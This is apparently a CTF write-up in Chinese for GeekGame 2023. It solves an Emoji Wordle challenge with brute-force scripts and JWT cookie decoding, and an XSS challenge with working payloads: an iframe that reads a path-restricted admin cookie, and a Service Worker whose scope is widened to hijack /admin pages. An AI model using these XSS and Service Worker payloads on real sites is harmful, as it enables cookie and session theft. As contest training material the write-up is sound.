2023 GeekGame WriteUp
2023-10-20 Write Up

Emoji Wordle

才发现原来 emoji 可以被放在代码里和 GET 传参里 ~

Level 1

image-1.png

1.1 爆破法

根据提示,Level1的答案不变,
采用无脑爆破法枚举每个位置上的 emojis

import re
import requests

YES = '🟩'
NO = '🟥'
MAYBE = '🟨'

URL = 'https://prob14.geekgame.pku.edu.cn/level1'
r1 = re.compile(r'placeholder="(.*)"')
r2 = re.compile(r'results.push\("(.*)"\)')

r = requests.session()

emoji = "A"

location = {}

while True:
    r = requests.session()
    while True:
        guess = r.get(URL, params={
            'guess': emoji  
        }).text

        result = r2.findall(guess)[0]

        print(emoji)
        print(result)

        for idx in range(len(result)):
            if result[idx] == YES:
                location[idx] = emoji[idx]
    
        try:
            new_emoji = r1.findall(guess)[0]
        except:
            break
        e = []
        for idx in range(len(new_emoji)):
            if location.get(idx):
                e.append(location[idx])
            else:
                e.append(new_emoji[idx])
    
        emoji = "".join(e)

运行代码直到全部变绿

💈💅👼💁👦👗💊💊👱👇👔💆👺👦👓👳👔👉👞💄👧👘💃👺👸👴👿👙👵💆👩👽👛👓👦👝👢💃💅👶👅💈👈💅👼👁👃💂👆👄👂👳👲👢💆👤👜👆👺👱👺👛👆👡
🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩

1.2 逻辑法

我们已知总共有 128 个 emojis
如果我们已知题目中包含的 64 种 emojis
就能通过每次填充 64 个相同的 emoji 来得知哪些位置是该 emoji
因此只需要 63 次就能猜出答案

至于如何确定题目使用的是哪64种emojis
可以通过在大量多次生成 placeholder 来确定

1.3 提交 emojis

提交 emojis 获得 flag

Your flag: flag{s1Mp1e_brut3f0rc3}

Level 2

根据 Hint 查看 Cookie

eyJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7ImxldmVsIjoiMiIsInJlbWFpbmluZ19ndWVzc2VzIjoiOCIsInRhcmdldCI6Ilx1RDgzRFx1REM0N1x1RDgzRFx1REM3Q1x1RDgzRFx1REM1Nlx1RDgzRFx1REM3NVx1RDgzRFx1REM3RFx1RDgzRFx1REM0NFx1RDgzRFx1REM4Mlx1RDgzRFx1REM0MVx1RDgzRFx1REM1Mlx1RDgzRFx1REM2NVx1RDgzRFx1REM1RFx1RDgzRFx1REM4QVx1RDgzRFx1REM2Mlx1RDgzRFx1REM1RVx1RDgzRFx1REM0MFx1RDgzRFx1REM0NVx1RDgzRFx1REM2OFx1RDgzRFx1REM4M1x1RDgzRFx1REM4Mlx1RDgzRFx1REM3QVx1RDgzRFx1REM4MFx1RDgzRFx1REM2NVx1RDgzRFx1REM3QVx1RDgzRFx1REM3Q1x1RDgzRFx1REM3Q1x1RDgzRFx1REM4Nlx1RDgzRFx1REM0Nlx1RDgzRFx1REM3M1x1RDgzRFx1REM4N1x1RDgzRFx1REM3OFx1RDgzRFx1REM4MVx1RDgzRFx1REM1OFx1RDgzRFx1REM2M1x1RDgzRFx1REM0NVx1RDgzRFx1REM3N1x1RDgzRFx1REM0MVx1RDgzRFx1REM0M1x1RDgzRFx1REM1QVx1RDgzRFx1REM1MVx1RDgzRFx1REMzQlx1RDgzRFx1REM0Nlx1RDgzRFx1REM2QVx1RDgzRFx1REM4M1x1RDgzRFx1REM1NFx1RDgzRFx1REM3NVx1RDgzRFx1REM4N1x1RDgzRFx1REM4OVx1RDgzRFx1REM3Mlx1RDgzRFx1REM3Q1x1RDgzRFx1REM3Qlx1RDgzRFx1REM0NVx1RDgzRFx1REM1NFx1RDgzRFx1REM1OVx1RDgzRFx1REM2Nlx1RDgzRFx1REM2QVx1RDgzRFx1REM1Qlx1RDgzRFx1REM4OFx1RDgzRFx1REM4NVx1RDgzRFx1REM4OFx1RDgzRFx1REM2OVx1RDgzRFx1REM1NFx1RDgzRFx1REM2NVx1RDgzRFx1REM3NFx1RDgzRFx1REM1NyJ9LCJuYmYiOjE3MDEzNTAxODYsImlhdCI6MTcwMTM1MDE4Nn0.eC3acijxIGEM1alsrrBpd_SgxcYbxXc2HCbmYNKNmJg

jwt.io 解密后获得

{
  "data": {
    "level": "2",
    "remaining_guesses": "8",
    "target": "👇👼👖👵👽👄💂👁👒👥👝💊👢👞👀👅👨💃💂👺💀👥👺👼👼💆👆👳💇👸💁👘👣👅👷👁👃👚👑🐻👆👪💃👔👵💇💉👲👼👻👅👔👙👦👪👛💈💅💈👩👔👥👴👗"
  },
  "nbf": 1701350186,
  "iat": 1701350186
}

输入

👇👼👖👵👽👄💂👁👒👥👝💊👢👞👀👅👨💃💂👺💀👥👺👼👼💆👆👳💇👸💁👘👣👅👷👁👃👚👑🐻👆👪💃👔👵💇💉👲👼👻👅👔👙👦👪👛💈💅💈👩👔👥👴👗

获得 flag

Your flag: flag{d3c0d1n9_jwT_15_345y}

Level 3

这次的 Cookie 中没有直接给出答案
由于服务器不存储状态

这点可以从 Hint 或者 Cookie 名称 PLAY_SESSION 中
得知服务端使用的是 Play Framework

我们通过多次携带相同的 Cookie 进行爆破
ps: 好像本题的 Cookie 会超时,要在短时间内进行爆破()

import re
import random
import requests

YES = '🟩'
NO = '🟥'
MAYBE = '🟨'

URL = 'https://prob14.geekgame.pku.edu.cn/level3'
r1 = re.compile(r'placeholder="(.*)"')
r2 = re.compile(r'results.push\("(.*)"\)')

emoji = "A"
location = {}
bad_location = {}

JWT = requests.get(URL).cookies.get('PLAY_SESSION')

good = []
bad = []

def get(idx: int) -> str:
    while True:
        e = random.choice(good)
        if idx not in bad_location.get(e, []):
            return e

while True:
    guess = requests.get(URL, params={
        'guess': emoji
    }, cookies={
        'PLAY_SESSION': JWT
    }).text

    print(guess)
    result = r2.findall(guess)[0]

    print(emoji)
    print(result)

    for idx in range(len(result)):
        if result[idx] == YES:
            location[idx] = emoji[idx]
        if result[idx] == NO:
            bad.append(emoji[idx])
        if result[idx] == MAYBE:
            good.append(emoji[idx])
            bl = bad_location.get(emoji[idx], [])
            bl.append(idx)
            bad_location[emoji[idx]] = bl
  
    new_emoji = r1.findall(guess)[0]
    e = []
    for idx in range(len(new_emoji)):
        if location.get(idx):
            e.append(location[idx])
        else:
            if new_emoji[idx] in bad:
                e.append(get(idx))
            else:
                e.append(new_emoji[idx])
  
    emoji = "".join(e)

获得 flag

Your flag: flag{StateIess_game_IS_a_b4d_1d3a}

第三新XSS

Flag 1

由于页面中的 flag 的 Cookie 设置了 path=/admin
所以不能直接在页面中读取 包含 flag 的 Cookie

1.1 iframe 读取信息

根据 Hint 可知
由于在同源环境下
可通过 iframe 读取 Cookie 并输出

因此有 Payload :

<iframe src="/admin/"></iframe>
<script>
document.title = 'running';
setTimeout(()=>{
    document.title = 'got: ' + document.querySelector('iframe').contentDocument.cookie;
}, 500);
</script>

即可在 xss bot 处获得 flag 1:

image-2.png

Flag 2

driver.get(admin_url)
time.sleep(.5)
driver.execute_script(f'document.cookie = "flag={getflag(2)}; path=/admin"')
time.sleep(1)

由这段代码我们发现
xss bot 先访问了网页
然后关掉浏览器并重新打开了 /admin

2.1 Service Worker 工作范围提升

由 Hint Service Worker 可以缓存之前打开过的网页

Service Workder:Progressive Web App 的一部分
意义在于让网页可以提供与原生 App 类似的体验,在离线时仍然可以工作

因此我们可以利用 Service Worker 劫持 /admin 目录

但是浏览器默认限制 Service Worker 的工作范围仅限于它所在的这个目录

假设 Service Worker 的脚本是 /path_to/sw.js
那么它只能看到并修改 /path_to/ 底下的所有 HTTP 请求
因此 /admin/ 还是安全的

我们可以利用设置响应头 Service-Worker-Allowed: /
手动提升它的默认工作范围到 / 来绕过限制

2.2 注册 Service Worker 缓存页面

2.2.1 flag2_a

'Content-Type': 'text/html',
<script>
async function run() {
    await navigator.serviceWorker.register('/flag2_b/sw.js', {
        scope: '/',
    });
    document.title = 'done';
}
run();
document.title = 'running';
</script>

2.2.2 flag2_b

'Content-Type': 'text/javascript',
'Service-Worker-Allowed': '/',
self.addEventListener('fetch', (event) => {
    console.log('fetch', event.request.url);
    if(event.request.url.indexOf('/admin/')!==-1) {
        event.respondWith(new Response('<script>setInterval(()=>{document.title=document.cookie}, 100)</script>', {
            headers: {'Content-Type': 'text/html'},
        }));
    }
});

2.2.3 获得 flag

此时如果 xss bot 访问 /flag2_a/
就会注册上 /flag2_b/sw.jsService Worker
/admin/ 就会被劫持到缓存中:
即可在 xss bot 处获得 flag 2:
image-3.png